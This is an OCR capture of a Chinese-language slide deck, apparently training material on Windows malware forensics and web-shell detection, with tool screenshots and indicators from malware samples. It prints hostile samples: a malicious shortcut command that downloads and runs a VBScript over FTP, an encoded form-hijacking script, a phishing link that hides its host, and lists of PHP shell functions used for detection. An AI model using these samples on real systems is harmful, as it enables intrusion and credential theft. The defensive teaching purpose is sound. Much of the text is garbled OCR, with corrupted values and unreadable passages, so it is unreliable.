[ *_J] shdocsw 411 lePlugins FvetemFootferstermnd Bshd ocww 411 HEEY _LOCAL MACHINEMIOFTW...  Microsoft(
[ ’_J] shdocsw 411 lePlugins FvetemFootferstermnd Bahd ocww 411 HEEY _LOCAL MACHINEMOFTW...  Microsoft(
| *_J] shdacsw A1 lePlugins FvetemBFootfeyrstem i Dishd ocew 411 HEEY _LOCAL MACHINEEOFTW...  Microsoft(
| *_J] shdacsw A1 lePlugins FvstemBootfeyrstemd Dshd ocew 411 HEEY _LOCAL MACHINEMSOFTW...  Microsoft (
[ *_J] shdacrew A1l IePhigins FstemBoot®estemdSshdosew dll  HEEY LOCAL MACHINEWOFTW..  Microsoft
[ *_J] shdacew .dll IePhigins FnstemBootfestemidshdocew dll - HEEY LOCAL MACHINEWOFTW...  Microsoft
[ *_J] rmoc3260.411 lePhigins CAWINDOWSarster 32 rmoc 3200411 HEEY_LOCAL MACHINEWOFTW...  Reallletwa
[ *_J] rmoc3200.411 IePlugins CAWINDOWSerstem 32 rmoc 3200411 HEEY_CURRENT_URERWoftware).. Fealletwo
[ *_J] REEFIEBAR DLL IePlugins CAPROGR A-IMWICROS-IFFICEL .. HEEY _LOCAL _MACHINEWOFTW. . Microsoft ©
| %] QTPIngin.ocx TeFluging CAProgram Filesuick Time Alternati..  HEEY_CURRENT _USER\Softwsrel..  Apple I[::;\:.
| %] plugin.ocx TeFluging CAWIH DO W Seystern I plugin. oc HEEY LOCAL MACHINESOFTW ...
| %] npehuome_tab.dll TeFluging CiProgram Files\GoogleVChrome Fra..  HKEY_CURRENT_USERWGoftwarsl.. @COMPA _
4 — . : i e _*|_I
[ o | B AcheX $BHUE | I ActveX IS |

| Wangfes 20080223




HookEXxplorer

. Hook Explorer (Detects IAT and basic Detours style hooks for bonnd & - |EI|5|
Processes Hefresh Scanning..

pid | pIOCEss | LIZEr | | Bageddr | b &t dr | Hooks | I ame -

4 System 1000000 1070000 winlogon, exe

1144 smgz.exe MTAUTHORL.. | | FC920000  FCIBEYO... rikdll.dll

1208 carszexe FCB00000 | FCA1F0... kernel32.dl b
winlogon, exe MT ALUTHORI. . FrDAD000 | FRE470... A0NAPIE2. dil

1284 services.exe MT ALUTHORI... FFEROOOD | FFEEZD... RPCRT4.dl

1296 lzasz.exe MT ALUTHORI... FFFCO000 | FRFDAOD... Securs2.dl

1500 svchostexe MT ALUTHORI... FFFEOOOD | FFFF2000 AUTHZ. I

1548 svchostexe FFBEDOOD | FFC380... mzvert.dil

12 gvchozt exne MT AUTHORI... FEREOOOD | FEEY 3000 CRYPT32.dl ﬂ

EBD SVChDSt.EHE ﬂ FCODOOan - Fohran RACACHKIT Al

Functions v Scan all exports 2 " Standard % Use lgnore List € Hide Hooks within same module € Show All entrigs

[AT Add... | Y alle | I ame | 1zt Instruction | HookProc | Hookkod |
Message Log lgroreList Reload | Edit |
Scanning for hooks in:winlogon.exe - 76 dlls in this process _:J

***** ERROR:

could not load pefile:
No imports for - CoAWZWINDOWS system3Ehntdll.dll

BTN CIWTINDOWEY systen3E i winlogon. exe




P setop.exe
b biapple.exe

@& 4 P D



setop.exe

® % :
b C:\WINNT\svchost.exe
® {555 B

¢ HKLM\SOFTWARE\Microsoft\Windows\Curr
entVersion\Run\System

Al = A
b 7Bt 1140.136.71.81:52(140.136.25.2:52)
P WhoisF 3t @ #f iz~ &



biapple.exe

®th%
b C:\WINNT\svchost.exe
P C:\WINNT\system32\msextapi.dll
b C:\WINNT\system32\msrascfg.ini
® 157 E
b HKLM\SOFTWARE\Microsoft\Windows\Curr
entVersion\Run\GameServer

» Browser Help Objects
L JEL ) S
¥ DNS % :4rabbi.bi-apple.net




#2375 4 37 - Winalysis

Create Snhapshot for \\GUEST1234!

FF Press the Start button to create a snapshat of
,'. WEHEST1234567390': configuration.

v Files v Services W Spstem v Uszers
v Registy W Shaes W Scheduler W Groups
v “olume: [ Rights

Filters ... !

M arme Elements Errorg Butez | Compreszion | Milizeconds
Elements: Monitored: Total Size: Tatal Time:
Help Wiew Log... Finizh




#2375 4 37 - Winalysis

Configure Event Filters X|

Files IGrt:uup& | Reg:istrj.rl Sewice&l

select the Directories and/dor Files o mondtor for changes.

Mame | subfolders| & Inclode. .. |

Ec: )
- TR TS ratemn 32

Configure Event Filters
Filez |Gr-::ups I Reg;istr}rl Servicesl

select the Directories and/or Files to mondtor for changes.

N
&

ame | subfolders | &  Inclnde.. |

Exclnde...

Modifar. .. |
Eemove |

mE | Ew | =RAw |

B




#2375 4 37 - Winalysis

& Winalysis - ["\HP2000 Changes] O] x|
@ Fil=:  Snapshokb  Yiew Window Help =|7] x|
8 H & | = ® © e

kenu Save Print Snapzhot  Test Config Crhcal W aming Info Al
= Manne | Critical | Warning | Info | Ignored | Tested |
-] Eventlog € Eventlog 0 0 55 0 10/10/2001 2:23:03 PM
E‘@ Files € Files 0 0 2 0 10/10/2001 2:23:03 PM
- i e 4 Groups 0 0 0 0 10/10/2001 2:23:04 PM
& DiWINNT|System3 @ Registry 2 66 20 595 10/10/2001 2:23:04 PM
E;Dgt'f;y C@rights 0 o0 0 10/10/2001 2:23:13 PM
7@ ham i scheduler 0 0 0 0 10/10/2001 2:23:13 PM
-9 Rights € services 0 0 1 0 10/10/2001 2:23:13 PM
5.7 Scheduler {11 Shares 0 1 0 0 10/10/2001 2:23:13 PM
__ cervices = system 0 0 0 0 10/10/2001 2:23:13 PM
-8 Shares € Users 0 0 0 0 10/10/2001 2:23:13 PM
B 8 System =valumes 0 0 0 0 10/10/2001 2:23:13 PM

o Wersion

- Enwironment

o Account Policy

o uadit Palicy
EEI--!E Users
[+]-=D Yaolumes
< | > I i

For Help, press F1 | UM |




p fswall.exe

» FILE 101.exe

i % P e
b 35 IATH A S

bS5 A RTHE PR

PSS B

L RIS 2 % L_A‘
F b ‘&i’_;ﬁ? e ,f“ >

iﬁ?%%ﬁﬁ

%



fswall.exe

o %
b C:\WINNT\system32\dump48.exe(iz % iz i)
b C:\WINNT\system32\kazaabackupfile\*.*

® 875 B ¢
¢ HKLM\SOFTWARE\Microsoft\Windows\Curr

entVersion\Run\Dump System Debug and
Control

® % wKazaairw & 3 f2 8




FILE 101.exe

® Hi%
P C:\WINNT\system32\ntdvrlib.dll
P C:\WINNT\system32\SCSrv.dll

» C:\Documents and Settings\Administrator\Local
Settings\Temp\Del*.tmp

® FRGx

b Script Client Service(WorkStation R # iz i+ )
® L H

» DNS % :qviewl.j2ee.us ~ view2.j2ee.us

b :i 1/1863/TCP



@ 7] : VirusTotal

#2752 47 - AntiVirus

B T Casrnly e i Wil b 25 81 et AeARli] diyih) P AETek & cotdware. 0 WT Cismsily
WBETIE W @ bt o] 0 Peputams ENetE R AdyiE | DA SATEE B maby ine

Fili narmsa

Submisaion dale

L= T
Rgaun

Cormac]

Antrrius
AR ]
A==
ASELT-AVL
Aachencium
Avast
Ewansd

NE
BasDsfandns
AT-{uicElesl
Chamky
SRS
Dok
Emyisafc
e5afs

TtV

packupiase10T_1058xe
FOU0.00.20 175 245 (UTC)

Ferii el
A3 1AW

Versica
2010, 083,00
- L
3.0.3.1
5.2.0.5

. 5.1351.0

- - L e
F.d. 0. BEL
7.2

=L.00

09, T =gl
4143

N iRk Bl
5.0.0.57
T.0:17-6

14,1, TRER

Las Updaie
2010.09.2¢
2010 5828
2010, 0835
2010.09.1%
20105830
4000, DRI
2010.05.2¢
20105835
15100830
2010. 0528
2010.68.38
AGL0. DRI
2010.05.23
20100835

AG10.08.30

TR Dessegs. Ben

Iroyen.Faiedecore. 23

VT Communisy

e el
L S



7 ;% & 45 - Sandbox

@® »] : Anubis
b http://anubis.iseclab.org

L C' | B pt#rs://anubis.iseclab.org/?action=result&task

facec384d4d

Module Name Base Address Size

C:\WINDOWS\system32\hnetcfg.dll 0x662B0000 0x00058000
C:\WINDOWS\system32ymswsock. dil 0x71A50000 0x0003F000
C:\WINDOWS\System32\wshtcpip.dll 0x71A90000 0x00008000
C:\WINDOWS\system32\WS2HELP.dI| 0x71AAD000 0x00008000
C:r\WINDOWS\system32\W5s2_32.dll 0x71AB00O0OO 0x00017000

2.a) iexplore.exe - Registry Activities

- Registry Values Modified:

Key Name New Value

HKLM\SYSTEM\CURRENT CONTROLSET\HARDWARE PROFILES|CURRENTY, ProxyEnable 0

Software\Microsoft\windows\CurrentVersion\Internet Settings

HELM'\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders Commeon AppData C:\Documents and Settings\All Users\Application Data
HKU\S-1-5-21-842025246-1425521274-308236825-500\Software\Microsoft), AppData C:\Documents and Settings\Administrator\Application Data

Windows\CurrentVersion\Explorer\Shell Folders

HKIINS-1-5-21-84202524A/-1475521274-1N823AA75-500\ Software\Microsnftt MinrateProsw 1

+ Registry Values Read:

+ Monitored Registry Keys:

m

.




153
AT L T AR TSR
b lisdoor.exe

» msnchecker.exe

P rescue_system-common-en.exe
P Check and Get v1.14.zip

¥ Check And Get v1.8.70.zip









’ﬁ*%* @ﬁﬁ
® &= 3@1:1‘“ AR T A RJR
@71 B 4I% kA
@71 B bm A s A

T b 3T



PE# ;¢

® PE(PortabIe Executable)™ # 48 5% #4 7
i w#73 Microsoft 32 =~ it ¥ %
CRE: ﬁmﬁ% Wl PE #35H% T
A iz m i~ e Windows 95 ~ 98 ~ Me -~
NT &2 2000 F 34 {7 o
1‘3%—.\5;1 % 4D 5A(MZ) -
IR - texe dil » e v i * gifs
ta #(ﬁ}; 4 '/é = °



;h!ﬁi:;}ﬁlg B — = 137*’1‘%

®AETE S PER X

O ERE S Al EAE

® itk v 3 2
tree-#% % 71 %
BinaryTextScan-¥ 3 5 ~ p %
fciv.exe ~ mdbsum -# %1 &
ff.exe-f5x =352V 4
XCOpYy.exe-#4 % & 4

® Rootkit3# =

\w
ES

® AntiVirus - AntlTrOJan(% E3R R ASE IR 2

%
S G R &



ForensicToolkit20

@AFINd — 5 IR X FBERF > 2 ¢ 3

® Audited — 15 “"H;]‘Mfmﬁ,i=

.DACLchk exe —35 A3 v o IR —‘5,’#9»_&3’7

® FileStat — 3% 7] 1 45 % 1
% H




bv EHET R &L
® PEFY, % crde /3] 238 4]

— Aspack

— ASProtect

— Petite

— PECompact

— Neolite

— Shrinker

— Upx

® 3 * % 0llydbg ~ ProcDump32 ~ PeiD



Peid

o
X

8 PEiD v0 95 =100 =|

File: |

Entrypoint: | EF Section: |
File CFfset: | First Bytes: |
Linker Info: | Subsystem: |

MM E ]

| I8 PEiD Multiple File Scanner v0.02 g ]

Task Yiewer File | Info |

Skay on bop

[V Shows only PE Files

| Scan Direckary I

|7 Recursive Scan
CihDocuments and Settingsial,.. faatalAdobe|Adabe POFExtras) NAGAZF;RQI:I 2006

N\



Maleware Analyzer

® http://malwareanalyser.blogspot.com/

e CAWINDOWSAsystem 32%cmd exe

[+15ys Calls Made.
[-15ignatures not found

[+15earching if malware iz UM aware
[-15ignatures not found

*Thiz program cannot he ron in DOS mode.

[-]1 Disaaszembling the first hlock

[Ax4A1855L1 jmp BAx481783L
[Ax48185aL] push Bxi4d
[Bx4A1783L]1 puzh Bx4dh5208
[Ax4A1705L]1 call Bx482578L
[Bx48178al]l mov eax Bxbadd
[Bx4A17B8f L1 cmp [Bx4A000@1 ax
[Ax4A1714L]1 jnz BAx481755L







A B e~ BE(ZEC 3B AR

® % =12 » (html, jsp, asp, asa, php, vbs)
PR ISP ATR, C FPAAR S - html s jsp ~
asS

3
p ~ php ~ vbs... ¥
b s | EE P4 L txt ~ cfg -~ Ini -~ bat...
P R LT RS
Nt
P ISAPIE 3% :

%systemroot%\systemSZ\inetsrv\
b /test.asp/z /test.aspx/: /test.asal p & #7
FAREIA G TR
® FALE A
A Eka

PRI A



~5 43

p M»w g_wr—l (P A > w3 IR L)
BASP:kLE % > p4 £

7 %
L5 ASP A~ 5§ i 3 > E =2
.

b

b

£

b asa cer cdx stm shtml# %

b ISAPI\:1

P EF P AT EEIHORE R P &
b 7" T_A x,fﬁp’fﬁé

b 7 T, A e A Ey

b p = E Efindshell



PRLE > L

© Wik R ? - P AP R (V1. 7) _ ol x|
[ '
AR i ol o & e s
CEUN 1= T N
e o e
BB v
[] .exe
o
speom [

© BIEREMY

C 2EERAIEEA?
© BIRASPAE F?
 BERIEE TR $

o

EEPEEFIE ST

ISt T EEREIRRE RS

REe

A



b cscript [% 7 P 4%\Scan.vbs] [P &P 4% [3F %
P 4\Report.html]

¥ ] : cscript Scan.vbs c:\InetPub

s filevEE[ESPSecurityl .6sp2—tustoolsPescript Scan.vbs c:NInetPub C
:xReport.html
Microsoft <R> Windows Script Host Version 5.1 for Windows
Copyright <C> Microsoft Corporation 1726-199%. All rights reserved.

- Huthul lak52

__Emall lakeZ2@mail. cfdn.n
RN waw.0x54.0rg f5E]

gfnetPuh
“InetPub~AdminScripts
“InetPub~iizzamples




A =% H ASP 155 %2 B vbsriii

| tE=(E)

HRaE(E)

ARy )

- [0 x|

HHEEA) TEO)

AR ER(H)

CLoEy? - 003 Qug Bgpps Igg | D 3D

|4@HE(D)

&1 C:\Report.htm|

-

OFE

=

EEE ASP bR Z 2B FvbsikimhETRL

Bl B fid] @ 20097118 T4 094141
SEE AR ¢ 20091108 T4 094143
RSSO | —H B O HE - soilouE - SR NEEERIE (AT ER TR A AREE R KE)

F s

R E 4EErnE fet Bl 5 R R

n::".InetPuh"ussﬂmple. 5 BT LB (L ASPAERE 20034331 FF0

adkaspatabasetsl |[Execute (58 EExe B PR - Hat (R : N 1:02:03

mplequeny jseriptas |meGloball = B EEEE W gags 14 T 0

I o 4:49:13

n::".InetPuh"ussﬂmple. 5 BT LB (L ASPAERE 20034331 FF0

adkaspatabasetsl |[Execute (58 EExe B PR - Hat (R : N 1:02:03

mplequeny vheeript, |[meClobald) . B EEEE W gags 14 T 0 ~|
&) e




SERLEIC)

@ ¥ * cnJavascriptp qﬁ
¥ Iframe src="http
b <body onload
P width-]: *+10 » £ height ] %+ 10
PP R R ()@
@7 R iLy 5 EIH
» document z 7] > &|4rdocument.write
P EZTALE % 7] > window.open
b "http > FF %W E_src=""%2 |, onLoad=



£ 1

P (1) LR A i b

<a href="http://www.sti.com.tw@1208929129">ADMIN
LOGIN</A>

<script>

www = new obj1();

function obj1() {this.google=new o0bj2;}

function obj2() {this.com=0bj3;}

function obj3()
{open("http://www.sti.com.tw@1208929129","NewWindow","toolb
ar=no,location=no,directories=no,status=no,menubar=no,scrollbar
s=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,
top=10");

}

</script>

<span id="1" onclick="www.google.com();">TEXT<span>



+ 1 5 %H(2)-Script ~ 5

@t FP A D
b eval(
P escape(
b unescape(
» encodeURI(
b encodeURIComponent(
b jScript.encode
b javascript.encode
b vbscript.encode
P expression(



I ¥ ¥H(2)-Sn ks (8 ede B

® %3c%3d%2522%253e%253cscript%3eeval(unescape(%2522%2

52564%25256F%252563%252575%25256D%252565%25256E%
252574%25252E%252567%252565%252574%252545%25256C
%252565%25256D%252565%25256E%252574%252573%25254
2%252579%25254E%252561%25256D%252565%252528%2525
22%25256C%25256F%252567%252569%25256E%25255F%25
2566%025256F%252572%25256D%252522%252529%25255B%?2
52530%25255D%25252E%252561%252563%252574%252569%
25256F%25256E%25253D%252522%252568%252574%252574
%252570%25253A%25252F%25252F%252577%252577%25257
[%25252E%25257A%252575%252573%25256F%25252E%252
S56F%252572%252567%25252E%252574%252577%25252F%25
2564%252565%25256D%25256F%25252E%252570%252568%2
52570%252522%2522))%253c/script%253e%253cscript



+ 1 P E(2)- 1245

v§ IBM Rational Encode/Decode -10] x|
File Help
— Method —Encovption Kea
JEL Encoding IMa:r}r hiad & Little Tah! |
Decode |
Encode |
— Input —Output
ki ;I_I ki ;I_I
Clear Input | =< fend. Back | Clear Chotput |




ZE(3) — R i

® wscript
® system( , shell exec(, exec(, passthru(

@ fopen, popen, fread, fclose, fwrite,
file_exists, mkdir, rmdir, chmod, unlink,
closedir, is_dir, readdir.opendir, fileperms,
delfile

® " phpt 3 UNIXpr s34 {7 1 5
b ] : echo Is;

b “rshell exec()




£ 1 1 4(4) - SWF/RM#: 5

®swif § #-4F 2 /& v flash playeri& iF
®rm# 5 &4 e /K rm playeris i
® - PR AR 5
P (1) v ¥ 5o swirmiAg & & fdodn £ F AR 1 e
P (2) P ¢ EE NS H (sre=http) 3] s zEswi/rm
T %
% #CLSID



+ 1 % ¥(5) — urlsnooper

® it LogenfFin T T 6 ¢ s

i TRL Snooper =1 ] 4
File Fawvorte Websites Help
Search | General Options I
Protocaol Filker K.eyword Filter Alzn Search For
[ Shaw Al =l |
£.# Snitf Wetwark | @ Stop Search | e Clear Results | Pause | Parze 1 |
Index < |URL | Protocal | SoucelP e
non42 http://blufiles. storage. man.comdyl pyR TjpkBvERK.BhaB1RW, .. hitp E5.54.167.53
EX] http: //cid-54799d1 31 14230, prafile. five. com hitp E5.54.167.59
00146 http: Adcid-9d1 254621 2322595, profilefery 1 Llive.comdnotes— hitp E5.54.167.59
00147 http: //cid-9d1 abde21 eB2a095. profile. live. com/nates http E5.54.167.59
no14a http: /Azid-ad 3201 11 edf0369. profile. live. com/naotes http E5.54.167.59
00149 http: Adcid-ad32f1 c11edf0369. profilefen Llive. com http E5.54.167.59
aomsn http: / blufiles starage. man.comndy] pERWS_esooswiklzg2t3 . kitp 65 54167 53
0151 http: /Acid-ad 3201 ©11edf0369. prafile live.com http 65 54167 53
oot1a2 http: A fcid-ad32f1 c11edf0369. profilefens Llive. cominotes http E5.54 16759
o154 http: #Acid-ae5505bagc0506d6. profilefeny 1} ive.comdnotes  hitp B5.54 167.55 J
00155 http: / fzid-aeBb05baBe05bEdE. profile. live. com/notes http B5.54.167.53
00156 http: A fcid-3c4a7f8c7 3303247 profilefenyl 1 live. comdnates http E5.54.167.53
ooe7 http:/Acid-3cd a7 f8c 7 33c3a47 profile. live. comdnotes http E5.54.167.53
aoss http: A dcid-c5d260cf FOBBESE4T profilefeny | live. com hittp 65.54.167.59 LI
| —
kanually Scan a URL: I Donvnload Open in Browvwser I
|5'I"EI'I"5 packets received (0 buffered locally). 4




+ 1 12 §(6) — Eu 5

b *asap 4-(2 i2009ﬁ ¢ AR )
b Jpg, gif -

— http://www.test.com.tw/show.jpg=>
— http://www.test.com.tw/show.jpg/=>
— http://www.test.com.tw/show.jpg/index.htm

® 404,500 Error # & & p &



£ 1 % ¥(7) — Bookmark# 5

® = # sBookmark

hitp e fake com!

® ik
b4 G ek
P RET G
b XSSz #
» DDOSsz #



A )

1 1% ¥(7) — Bookmark# 5 -2 %

@ url#t ek it Google A 2

— FESH ||

."I Google
2]

URL I

tRIEREE):  [F2

BERE: 6

- S ) SEETC)... |

e | mw | =Rwe |




a1 ¥ (7)) — Bookmark# 5 -2 =%

@ url#f i se- K A% 2

P URL : P &84

P WorkingDirectory : 1 i® p 4%

b lconFile : Bl 02 * Xk > ¥ 2 & |CO, DLL &
EXE

¥ lconindex : Bl /47 % 5B

» Modified : 12 :xp #

P ShowCommand : kxc#s {8 el & < -] » 3% » Tk
=

BEE HRIFE BAO WA FHBEH
[InternetShortcut] =] ,}i_%ﬁ ﬁ‘
URL=http://wuww.fake_con/ YA BT
WorkingDirectory=C\WINDOWSY
Hodified=109A445D596 BCABTDF
IconFile=http://wuww_google.com.tw/favicon.ico
IconIndex=1

ShowCommand=7 I
HotKey=113

] 2

w




g

=+

s —

@ ur

) a1’
1 5% %

£+ (7) — Bookmark® 5 -2
o2 AR L2 + j‘ 2 i _I (
7}% ET1 5 PL- zﬁ ~ 3K T_HOotKey
C+5 S+A C+A C+5+A C+5 S+A C+A C+5+A

A | 833 1345 1601 1897 0| 87 1329 1554 1841
B | 834 1346 1602 1853 1| 818 1330 1585 1842
C | a3s 1347 1603 1859 2| 819 1331 1586 1843
D | 836 1345 1604 1860 3 | 820 1332 1387 1844
E | 837 1349 1605 1861 4|82 1333 1555 1845
F | 835 1350 1606 1862 5 | 822 1334 1589 1846
G | 839 1351 1607 1863 6 | 823 1333 1390 1847
H | 840 1352 1605 1864 T | 524 1336 1591 1845
1| 841 1353 1609 1865 8 | 825 1337 1592 1849
J | B4z 1354 1610 1866 9 | 826 1338 1593 1850
K | 843 1353 1611 1567 ;| 954 1466 1722 1973
L | 944 1356 1612 1863 = | 955 1467 1723 19739
M | 845 1357 1613 1869 . | 956 1463 1724 ?,‘1 a0
H | 846 1355 1614 1a70 - | 957 14639 1725 1951
0 | 847 1359 1615 1871 955 1470 1726 1952
P | 843 1360 1616 1872 059 1471 1727 19583
O | 849 1361 1617 1873 g0 1472 1728 1954
R | 830 1362 1615 1874 [ | 957 1499 1755 2011
5 | as1 1363 1619 1875 | o83 1500 1756 2012
T | 852 1364 1620 1876 ]| 989 1501 1757 2013
U | 833 1363 1621 1877 | 980 1302 17325 2014
V | 954 1366 1622 1873

W | 855 1367 1623 1879

X | 8356 1365 1624 1880

Y | 857 1369 1625 1851

Z | 853 1370 1626 1882




g

=+

N
a1 7%

#(7) — Bookmark# 5 -2

o2 AN L2 j‘ 2 -
® url#f ek 2x- 48 A % 7 HotKey
Hone Ctrl Al Shift C+A S5+A C+5 C+5+A

F1 | 112 B24 1136 368 1648 1392 aan 1904
2| 13 G225 1137 369 1649 1393 atay 1205
F3 | 114 G26 1138 370 1650 1394 aa2 1906
F4 | 115 627 1139 3T 1651 1385 a3 1907
F5 | 116 E28 1140 372 1652 1396 tatat! 1908
Fé | 117 E29 1141 373 1653 1397 a5 1909
FT | 118 B30 1142 374 1654 1398 oae 1910
F§ | 119 531 1143 375 1655 1399 sav 1911
F% | 120 G32 1144 376 1656 1400 batats 1912
FiG | 11 G33 1145 37T 1657 1401 batate] 1913
Fi1 | 122 B34 1146 3ra 1658 1402 240 1914
F12 | 123 B35 1147 379 1659 1403 291 1915




g

=+

* 12 34(7) — Bookmark# § - 4 45

®Xih

HKEY CURRENT_USER\Software\Micr
osoft\Windows\CurrentVersion\Eprorer\
User Shell FolderssFavorites - ¥

o BRREE ) ] |
wWEE REED WREO ESEL FHED

"] StartPage NIES | $&R = -

(0 StreamMRU [ab] (FEER1E) REG_SZ (BHEREETE)

-] Streams [ab] & ppData REG_EXFAN.. %USERPROFILE%\Application Data

----- (1 StockRect:2 [ab] Cache REG_EXFAN.. %USERPROFILE®%Local Settings Temporery Internet Files

- tips [ab] Cookies REG_EXFAN.. ®UIERPROFILE%MCockies

----- (0 TrayMotity [ab] Deskiop RE EXPAN . #USERFROFILE S | |

E‘ a User Shell Folders £ Favorites REG_3Z Di\Favorites

O Wew — | [ab] History REG EXPAN . SUSERPROFILE%Local SettingsHistory

. D Userhssist Lu:ncal AppData REG_EHPAN . ®ISERPROFILE®¥Laocal Settings\d pplication Data

g ;ﬁjﬂ:ﬁm [ab] Lacal Settings REG_EHPAN . %USERPROFILEFLocal Settings

Flﬁ WehTigw _|;| M;-.r Pichores REG_3Z DaLucifertr Pictures _ILI
1] | B ql | r

|:]5'EE4J'§HE'\HKE?_CURREH T_TRER\Softwareiticros W ind ow M mmentVerson\Explorer\lzer Shell Folders Q




£ 1 1% ¥4(7) — Bookmark# 5 - & 35

@ type *.url+t %

e CAWINDO WS system 32 e md _exe

[DEFAULT 1
BASEURL=http:-/sblog.udn.com wangkwo- 1391369
[InternetShortcut]

URL=http: - blog.udn.comswangkuo-132136%
Modif ied=40725588E2B8CEBA1F2

[DEFAULT 1
BASEURL=http: - Awwmr.microsoft.comstaivanstechnet/securitystools default.mspx

[InternetZhortcut]
URL=http:- s vuu_microsoft.constaivanstechnet zecuritystoolzs-sdefault.mspx

Mndified=AR4A43IDARCT2CLAL A

D:=~Favorites>




3P - BTG

@i LW R R AT

®Proxy : 4 F Ao it H g K%
L4

@ /etc/hosts#s @ + % % w IR

@'t cDNSEZ 2% % % w IR



7\

= 1 % $(7) — "4 DNS E 75

® "4+ DNS & 75

—%  DNS | wmg |
DNE {alfRas{irdl + {8 FAIER 00

=
|

Few. | #2E. | sgo |
TR BREEMEIFERAT ICHP BEER - RETHEH
RRER T B,

 HinE TR SRR DNS EiE T
I EinE= DS B RS
& HhpsELt DNS B dfIERE )

s

wep). | mmm. | fwRed |

iEMEERA DNS BEES): |
v E DN PEffasERE R A s A At [
[T £ DN2 B h{E R SEHESRE DNS BB




g

B

4\€*’

$4(7) — %4 4 DNS & 5

v CAWINDOWS s ystem 3 2% md _exe

C:>nzlookup www.yahoo.com
Server: hntpl.hinet.net
Addres=s: 168.95.192.1

Mon—authoritative answep:
vuw—real .wal . bh.yahoo.com
289 131 .36.158
wvuwy.yahoo.com, wwmw.wal.b.yahoo.com

v CAWINDOWSAsystem 32 md _exe

C:x>nslookup www.yahoo.com
Server: hntpl.hinet.net
Addres=: 168.95.192.1

com.org.tw
P5.119.220.248
www.yahoo.com.oprg.tw




g

=+

9

—

) )

% ¥(8) —ARP # &

@® Wireshark

7! (Untitled) - Wireshark - |EI|1|
File Edit ¥Vew Go Cepture Analyze Stahistics  Help

B o e BEdX2E AT IL|(BE|QQQB| WMM:E|l B

Filter: I v Expresmion.. Clear ALpply

Na. . | Time | Source | Destination | Protocol | Info ;I
5 0.021210  192.168.1.2 192.168.200.100 TCP ssgql » http [ACK] Segel Ack=1 Win=64240 Len=0
6 0.021231  192.168.1.2 162.168.200.100 HTTP GET / HTTR/1.1
7 0.035788  1062.168.1.2 162.168.200.100 TCP ssql > http [ACK] Seg=l Ack=1 Win=64240 Len=0
5 0.035604  162.168.200.100 162.168.1.2 TCP http > ssql [ACK] Seg=l Ack=567 wWin=6792 Len=0  —
10 0.038048  192.168.200.100 162.168.1.2 HTTP HTTE/1.1 200 OK (text/html)
11 0.051384  192.168.200.100 192.168.1.2 TCP http > ssql [ACK] Seg=l Ack=567 wWin=6792 Len=0

1 1 TCF

. 200,100 TCP

-

| ]

Frame 12 (372 hytes on wire, 372 bytes capturad)
Ethernet IIJ src: vmware_4d:ag:bd (00:0c:29:4d:a8:bd], Dst: vmware_ege:ff:69 (00:50:56:22:Ff:69)
Internet Protocol, Src: 182.168.200.100 (1592.168.200.1000, Dst: 152.168.1.2 (192.168.1.2)
Transmission Control Protocol, Src Port: http (800, Dst Port: ssgl (33520, Seq: 1, Ack: 567, Len: 318
Source port: http (800
pestination port: ssql (33520

o= H

Seguence number: 1 (relative seguence number)
[Mext sequence number: 319 (relative seguence number)]
Acknowledgement number: 567 frelative ack number)

Header length: 20 bytes
® Flags: 0x18 (PSH, ACK)
window size: 6792
Checksum: 0x5351 [correct]
# [SEQ ACK analysis]

gment data

0030
0040
0050
\elelsle]
0070
0080
00S0
00agn
00hO
(eleZate]
0odo
00en
oofo ) 20

Text dtem (), 318 bates |Packets: 23

L Db

Nl

1 )] ] 9] ]
Displayed: 23 Marked: 0 Dropped.: 0 | Profile: Default




£ 1 1 %4(9) — IS & i Bi-MIME

5 Web 4 NS 2| x|

i | BsxEmE | HIPEE | EETHER |
Webiss | BfES | HEE ;

2|

TEE AR MASEE Web G aEER - ToaEy 0 TeedsA | BfFR | #m | mandmE® | EBE |
=3 el e S |  BszzmT | HITEE =BEE

X[B
alREsETiEd URL {iirsk B FEAstE -

1 - OEERMEFEHRAD:

 [wEnw. | 1rs |
: CAWTETE ThhelphiisHelpeommomnd 00 o ™
Yol Ry CAWINN Tthelp\iisHelp\eommon'd01-1 him
AT ThelphiisHelpeommon'd 01 -2 hbm
iREE (EJ.. CAWTH N TihelphitsHelpheommontd 01 -3 htm
CAWTETE ThhelphiisHelpseommont 301 -4 b
CAWTETH ThhelphiisHelpeommond 01 -5 o
CAWTHH ThelphiisHelpeommon'd03-1 hbm
CAWINN ThelpdizHelpheommontd 03-2 him
CAWTEE ThhelphiisHelpseommont 3 03- 3 b
CAWTETH ThhelphiisHelpeommond 03-4 htm
CAWTHN TVheInitsH e Inbenrmomomi402-5 him

EEATE. | 2EESED |

-

T
=T

FIERERY (MIME):

i e Hvid




findshell

@ dir *.aspx *.aspx /s /b > filelist.txt

® findstr /i /r /s /g:%cd%\shell.sig
[f:%cd%\filelist.txt >
%cd%\find shell result .txt



& 3

@i Lweb P 4T R R T 4 ?
® ik & ARPH § 4 ¢



cm\:\«

i
VIR B AR



L

@i~z > bdrexplorer.exe
® P &k b4
%SystemRoot%\system32\explorer.exe
® 5 H+S +HE &
rﬁﬁﬁw%éil
,3 ﬁ«m% R
@F NI AHFE 0 GlacdlBE B



p SoftHome.exe
p SoftHome2.exe



SoftHome.exe

®H %
b C:\Program Files\Internet
Explorer\svhost32.exe
b CA\WINDOWS\system32\mxdil.dll
@575 B ¢
b HKLMA\SOFTWARE\Microsoft\Windows\Curr
entVersion\Run\mx



SoftHome2.exe

®H %
» C:\Program Files\svhost32.exe
b CA\WINDOWS\system32\xwdll.dll

® 575 B

» HKLM\Software\Microsoft\Windows\Current
Version\Run\xw



B bl g > 5

® LNKHEEH#,

L E?Féé ﬁ:‘i;\:

® System Volume Information
® L P&
®-ZEM%

® altn - R

® 3T F AR L
® SupperHidden

® ADS¢® v

® et

® comlixg =

® FTRTYITF

® IFEO# 4=

® debug#t =

® PATHg I



LNK # = 4

M=t

DEBEHE AE ?]X]
— | EE BB | R |mE ek |HA5E fE=E fREEE) MEQ) MRG0 FRERH)

>l %ComSpec% /fc set h=p -&set j=gekset s=_gB3z.fkecho echo o wwwi »
? JERES skcom >t>b.bat&call b.bat&echo aa33>>t&echo bb33>>t&echo echo

%j%t p p-vbs™>»"»t>>ckecho echo bye™ > >t>>c&echo Ft%h%
s:t>>ckecho start p.wvbs>:c&ren ¢ h.bat&call h.baté

BfEsEs. RERER
BRUE:

B | BComSpec fo set hep -Geset j=gedesst o= 03z & . ,
@i T~ ¢ DOSH, £ vk ¢

REEAIE () | oy indir% |

paw. (= IR ARG R S
